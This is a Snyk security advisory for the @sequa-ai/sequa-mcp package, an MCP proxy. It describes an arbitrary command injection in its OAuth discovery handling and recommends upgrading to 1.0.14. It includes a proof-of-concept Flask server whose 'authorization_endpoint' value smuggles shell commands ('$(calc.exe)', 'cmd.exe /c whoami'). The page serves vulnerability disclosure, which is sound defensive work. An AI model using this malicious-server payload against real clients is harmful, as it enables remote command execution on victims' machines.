Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Arbitrary Command Injection vulnerabilities in an interactive lesson.
Start learningUpgrade @sequa-ai/sequa-mcp to version 1.0.14 or higher.
@sequa-ai/sequa-mcp is an A proxy for the Model Context Protocol (MCP) that connects local STDIO with remote MCP servers
Affected versions of this package are vulnerable to Arbitrary Command Injection via the redirectToAuthorization function in the OAuth Server Discovery component. An attacker can execute arbitrary operating system commands by supplying a crafted URL to the affected process. This is only exploitable if the server is configured to accept non-standard URLs that do not originate from the vendor's promoted sources.
# sequa-mcp-rce.py
@app.route('/.well-known/oauth-authorization-server')
def oauth_metadata():
metadata = {
"issuer": f"{PROTOCOL}://{SERVER_IP}abc:8000/",
"authorization_endpoint": "a:$(calc.exe)$(cmd.exe /c whoami > c:\\temp\\pwned.txt)",
"token_endpoint": f"{PROTOCOL}://{SERVER_IP}:8000/token",
"registration_endpoint": f"{PROTOCOL}://{SERVER_IP}:8000/register",
"scopes_supported": ["openid", "profile", "email"],
"response_types_supported": ["code", "token"],
"grant_types_supported": ["authorization_code", "client_credentials"],
"token_endpoint_auth_methods_supported": ["client_secret_basic"],
"code_challenge_methods_supported": ["S256"]
}
return jsonify(metadata)
@app.route('/mcp', methods=['GET', 'POST'])
def mcp_unauthorized():
return Response("401 Unauthorized", 401, {'WWW-Authenticate': 'Bearer realm=\"example\"'})
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)